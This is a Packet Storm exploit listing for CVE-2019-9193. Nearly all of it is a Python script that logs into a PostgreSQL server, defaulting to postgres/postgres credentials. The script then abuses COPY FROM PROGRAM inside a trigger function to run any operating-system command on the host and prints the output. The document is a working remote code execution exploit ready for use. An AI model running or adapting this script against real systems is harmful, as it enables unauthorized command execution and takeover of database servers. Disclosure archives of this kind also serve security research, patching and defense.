Lucene search

K
packetstormPaulo Trindade, Weslley Shaimon, Bruno Stabelini, Diego FariasPACKETSTORM:171722
HistoryApr 06, 2023 - 12:00 a.m.

PostgreSQL 9.6.1 Remote Code Execution

2023-04-0600:00:00
Paulo Trindade, Weslley Shaimon, Bruno Stabelini, Diego Farias
packetstormsecurity.com
180
postgresql 9.6.1
remote code execution
red hat enterprise linux
authenticated
cve-2019-9193
x86_64-pc-linux-gnu
psycopg2
python3

0.974 High

EPSS

Percentile

99.9%

`# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)  
# Date: 2023-02-01  
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon  
# Github: https://github.com/paulotrindadec/CVE-2019-9193  
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu  
# Tested on: Red Hat Enterprise Linux Server 7.9  
# CVE: CVE-2019–9193  
  
#!/usr/bin/python3   
  
import sys  
import psycopg2  
import argparse  
  
  
def parseArgs():  
parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')  
parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')  
parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')  
parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')  
parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')  
parser.add_argument('-c', '--command', nargs='?', help='System command to run')  
args = parser.parse_args()  
return args  
  
def main():  
try:  
  
# Variables  
RHOST = args.ip  
RPORT = args.port  
USER = args.user  
PASS = args.password  
  
print(f"\r\n[+] Connect to PostgreSQL - {RHOST}")  
con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS)  
  
if (args.command):  
exploit(con)  
else:  
print ("[!] Add argument -c [COMMAND] to execute system commands")  
  
except psycopg2.OperationalError as e:  
print("Error")  
print ("\r\n[-] Failed to connect with PostgreSQL")  
exit()  
  
def exploit(con):  
cur = con.cursor()  
  
CMD = args.command  
  
try:  
print('[*] Running\n')  
cur.execute("DROP TABLE IF EXISTS triggeroffsec;")  
cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;")  
cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")  
cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")  
  
cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")  
  
cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()  
RETURNS TRIGGER  
LANGUAGE plpgsql  
AS $BODY$  
BEGIN  
COPY triggeroffsec (cmdout) FROM PROGRAM %s;  
RETURN NULL;  
END;  
$BODY$;  
""",[CMD,]  
)  
  
cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")  
  
cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd  
AFTER INSERT  
ON triggeroffsecsource  
FOR EACH STATEMENT  
EXECUTE PROCEDURE triggeroffsecexeccmd();  
""")  
  
cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")  
  
cur.execute("TABLE triggeroffsec;")  
  
con.commit()  
  
returncmd = cur.fetchall()  
for result in returncmd:  
print(result)  
  
except (Exception, psycopg2.DatabaseError) as error:  
print(error)  
  
  
finally:  
if con is not None:  
con.close()  
#print("Closed connection")  
  
if __name__ == "__main__":  
args = parseArgs()  
main()  
  
  
`